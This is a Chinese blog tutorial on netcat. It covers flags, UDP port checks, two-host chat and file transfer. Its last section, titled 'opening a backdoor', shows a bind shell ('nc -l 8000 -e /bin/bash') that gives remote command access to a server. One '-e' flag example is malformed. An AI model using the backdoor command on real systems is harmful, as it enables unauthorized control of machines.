首页 > 其他 > 详细

nc命令使用

时间:2020-04-06 23:25:37      阅读:72      评论:0      收藏:0      [点我收藏+]
nc命令常用参数
-l :使用监听模式,监控传入的资料
-w : 设置等待连接的时间,例:ncat  -w  3600ms  -l  80  #ms单位是毫秒

-k  : 强制服务器保持链接,并继续监听端口,例:ncat  -l  -k  80

-e  : 将一个 bash 与指定端口相连,例:ncat  -l  -k  -e  80

-u  : 使用-u命令可以创建udp监听端口,例:ncat  -l  -u  53

-v  : 显示指令执行过程,两个-v输出信息更加详细。例:nc  -v  -u  192.168.1.1  53

nc命令常用功能一:测试某个远程主机udp端口的连通性


nc  -v  -u  192.168.1.1  53  

nc命令常用功能二:作为聊天工具


1.在服务器一上执行:nc  -l  1000 

2.在服务器二上执行:nc  ${服务器一ip地址}  1000 

3.服务器一和二可以在显示器上互相聊天。

nc命令常用功能三:传输文件

服务器一为需要接收文件的接收方,服务器二为发送文件的发送方。
1.在服务器一上执行:nc   -l 8000  >  test.txt  #类似将接收到的信息都重定向到test.txt

2.在服务器二上执行:nc  ${服务器一地址}  8000 < test #读取test文件内容发送到服务器一8000端口

3.该命令也可以用来传输tar包之类的,测试执行命令如下:

服务器一上执行:nc  -l  8000  >   messages.tar.gz

服务器二上执行:nc  ${服务器一地址}  8000 < messages.tar.gz

#首先在服务器一上启动8000端口监听,并将接收到的文件重定向到messages.tar.gz。服务器二发送文件messages.tar.gz到服务器一8000端口。该命令可以用在服务器防火墙只开通了某一个端口,scp,ftp无法使用情况下用来传输文件。

#-–send-only 选项会在文件拷贝完后立即关闭连接,但是测试中不使用该选项文件发送完毕后,链接也会自动断开。

nc命令常用功能四:开后门


服务器一上执行:nc  -l  8000  -e /bin/bash

服务器二上执行:nc  ${服务器一地址}  8000  #之后直接输入命令行命令可以操控服务器一,不会显示命令提示符,但会显示命令返回。 

nc命令使用

原文:https://blog.51cto.com/13740170/2484944

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!